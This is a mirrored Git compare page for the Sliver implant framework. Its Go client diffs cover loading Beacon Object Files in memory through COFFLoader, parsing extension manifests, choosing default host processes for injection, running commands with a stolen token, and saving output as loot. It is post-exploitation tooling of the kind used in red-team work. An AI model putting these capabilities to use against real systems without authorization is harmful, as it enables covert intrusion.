mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
11
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
483654d58f | ||
|
|
13cbf53851 | ||
|
|
e31fd56730 | ||
|
|
9af5d9126f | ||
|
|
d9499c26a1 | ||
|
|
5bd101bc47 | ||
|
|
0e1d21bb28 | ||
|
|
1f5a950752 | ||
|
|
3a1ff3fa52 | ||
|
|
98aa4ed58c | ||
|
|
d0a38bb792 |
No files matched your search
@@ -1,9 +0,0 @@
|
||||
fs/*.zip
|
||||
fs/extensions/darwin/amd64/
|
||||
fs/extensions/darwin/arm64/
|
||||
fs/extensions/linux/amd64/
|
||||
fs/extensions/windows/amd64/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/linux/386/
|
||||
fs/extensions/windows/386/
|
||||
@@ -19,29 +19,15 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/extensions/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
// SliverExtensionsDirName - Directory storing the client side extensions
|
||||
SliverExtensionsDirName = "extensions"
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
@@ -56,89 +42,3 @@ func GetRootAppDir() string {
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := path.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
}
|
||||
|
||||
// Setup - Extract or create local assets
|
||||
func Setup(force bool, echo bool) {
|
||||
appDir := GetRootAppDir()
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf("Unpacking assets ...\n")
|
||||
}
|
||||
err := setupCoffLoaderExt(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
extDir := GetExtensionsDir()
|
||||
win32ExtDir := path.Join("windows", "386")
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
loader32, err := assetsFs.ReadFile(coffLoader32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin32ExtDir := path.Join(extDir, win32ExtDir)
|
||||
err = os.MkdirAll(localWin32ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin64ExtDir := path.Join(extDir, win64ExtDir)
|
||||
err = os.MkdirAll(localWin64ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
[
|
||||
{
|
||||
"name": "coff-loader",
|
||||
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
|
||||
"entrypoint": "LoadAndRun",
|
||||
"extFiles": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files": {
|
||||
"x64": "COFFLoader.x64.dll",
|
||||
"x86": "COFFLoader.x86.dll"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
+3
-3
@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
@@ -93,11 +93,11 @@ func StartClientConsole() error {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
fmt.Printf("Connection to server failed %v", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
|
||||
+6
-158
@@ -36,7 +36,6 @@ package command
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
@@ -45,14 +44,11 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
"github.com/bishopfox/sliver/client/command/info"
|
||||
"github.com/bishopfox/sliver/client/command/jobs"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/operator"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
"github.com/bishopfox/sliver/client/command/pivots"
|
||||
"github.com/bishopfox/sliver/client/command/portfwd"
|
||||
@@ -86,14 +82,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
|
||||
}
|
||||
|
||||
// Attempt to load extensions from ~/.sliver-client/extensions/
|
||||
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err == nil {
|
||||
for _, ext := range exts {
|
||||
extensions.RegisterExtensionCommand(ext, con)
|
||||
}
|
||||
}
|
||||
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
|
||||
|
||||
// [ Update ] --------------------------------------------------------------
|
||||
@@ -551,9 +539,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("s", "silent", false, "don't print the command output")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("e", "stderr", "", "remote path to redirect STDERR to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1195,8 +1180,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
|
||||
f.Bool("i", "ioc", false, "track uploaded file as an ioc")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("local-path", "local path to the file to upload")
|
||||
@@ -1545,20 +1528,20 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
|
||||
// [ Macros ] ---------------------------------------------
|
||||
// [ Extensions ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadMacroStr,
|
||||
Help: "Load a sliver macro",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
|
||||
Name: consts.LoadExtensionStr,
|
||||
Help: "Load a sliver extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
macros.LoadMacroCmd(ctx, con)
|
||||
extensions.LoadExtensionCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the macro directory")
|
||||
a.String("dir-path", "path to the extension directory")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
@@ -2132,70 +2115,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(lootCmd)
|
||||
|
||||
// [ Hosts ] --------------------------------------------------------------
|
||||
hostsCmd := &grumble.Command{
|
||||
Name: consts.HostsStr,
|
||||
Help: "Manage the database of hosts",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
hostsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a host from the database",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
iocCmd := &grumble.Command{
|
||||
Name: consts.IOCStr,
|
||||
Help: "Manage tracked IOCs on a given host",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsIOCCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
iocCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Delete IOCs from the database",
|
||||
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
hosts.HostsIOCRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
hostsCmd.AddCommand(iocCmd)
|
||||
con.App.AddCommand(hostsCmd)
|
||||
|
||||
// [ Reactions ] -----------------------------------------------------------------
|
||||
|
||||
reactionCmd := &grumble.Command{
|
||||
@@ -2309,75 +2228,4 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(getprivsCmd)
|
||||
|
||||
// [ Extensions ] -----------------------------------------------------------------
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: consts.ExtensionStr,
|
||||
Help: "Manage sliver extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ListCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Register a new extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.LoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the extension directory")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(extensionCmd)
|
||||
// [ Prelude's Operator ] ------------------------------------------------------------
|
||||
operatorCmd := &grumble.Command{
|
||||
Name: consts.OperatorStr,
|
||||
Help: "Manage connection to Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.OperatorStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.OperatorCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
operatorCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ConnectStr,
|
||||
Help: "Connect with Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.OperatorStr, consts.ConnectStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.ConnectCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("connection-string", "connection string to the Operator Host")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
|
||||
f.String("a", "aes-key", "", "AES key for communication encryption")
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
}
|
||||
@@ -36,22 +36,15 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
output := ctx.Flags.Bool("silent")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
token := ctx.Flags.Bool("token")
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
@@ -59,35 +52,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
} else if !output {
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = exec.Stdout
|
||||
con.PrintInfof("Output:\n%s", exec.Stdout)
|
||||
} else {
|
||||
con.PrintInfof("StdOut saved at %s\n", stdout)
|
||||
}
|
||||
if !ignoreStderr && stderr == "" {
|
||||
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
|
||||
con.PrintInfof("StdErr:\n%s", exec.Stderr)
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
}
|
||||
} else {
|
||||
if ctx.Flags.Bool("loot") && 0 < len(combined) {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
|
||||
@@ -1,62 +1,4 @@
|
||||
Extensions
|
||||
====
|
||||
===========
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions must be loaded from a directory with the following architecture:
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── manifest.json
|
||||
└── windows
|
||||
├── 386
|
||||
│ └── extension.x86.dll
|
||||
└── amd64
|
||||
└── extension.x64.dll
|
||||
```
|
||||
|
||||
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
|
||||
|
||||
Here's an example manifest:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "foo",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"dependsOn": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files":{
|
||||
"x86": "extension.x86.o",
|
||||
"x64": "extension.x64.o",
|
||||
}
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
|
||||
- `name`: name of the extension, which will also be the name of the command in the sliver client
|
||||
- `help`: the documentation for the new command
|
||||
- `entrypoint`: the name of the exported function to call
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
- `string`: regular ASCII string
|
||||
- `wstring`: string that will be UTF16 encoded
|
||||
- `int`: will be parsed as a 32 bit unsigned integer
|
||||
- `short`: will be parsed as a 16 bit unsigned integer
|
||||
- `file`: a string to a file path on the client side which content will be passed to the BOF
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
+239
-425
@@ -1,11 +1,26 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
@@ -13,59 +28,80 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]extensionCommand
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Help string `json:"help"`
|
||||
Files []extensionFiles `json:"extFiles"`
|
||||
Arguments []extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"dependsOn"`
|
||||
Init string `json:"init"`
|
||||
Path string
|
||||
var commandMap map[string]extension
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type extensionFiles struct {
|
||||
type extFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
ExtensionFiles []extFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type extension struct {
|
||||
Name string `json:"extensionName"`
|
||||
Commands []extensionCommand `json:"extensionCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.ExtensionFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
@@ -74,237 +110,132 @@ func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, tar
|
||||
return
|
||||
}
|
||||
|
||||
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no extension command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
|
||||
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
if err != nil {
|
||||
if dirPath == "" {
|
||||
con.PrintErrorf("Please provide an extension path\n")
|
||||
return
|
||||
}
|
||||
|
||||
for _, extCmd := range extCmds {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
continue
|
||||
}
|
||||
RegisterExtensionCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
}
|
||||
}
|
||||
|
||||
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
|
||||
manifestPath := filepath.Join(extPath, "manifest.json")
|
||||
// retrieve extension manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
extensionsCmds := make([]*extensionCommand, 0)
|
||||
err = json.Unmarshal(jsonBytes, &extensionsCmds)
|
||||
// parse it
|
||||
ext := &extension{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
con.PrintErrorf("Error loading extension: %v", err)
|
||||
return
|
||||
}
|
||||
for _, extCmd := range extensionsCmds {
|
||||
extCmd.Path = extPath
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
}
|
||||
return extensionsCmds, nil
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each extension command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
argFunc func(string, string, ...grumble.ArgOption)
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
} else {
|
||||
argFunc(arg.Name, arg.Desc)
|
||||
}
|
||||
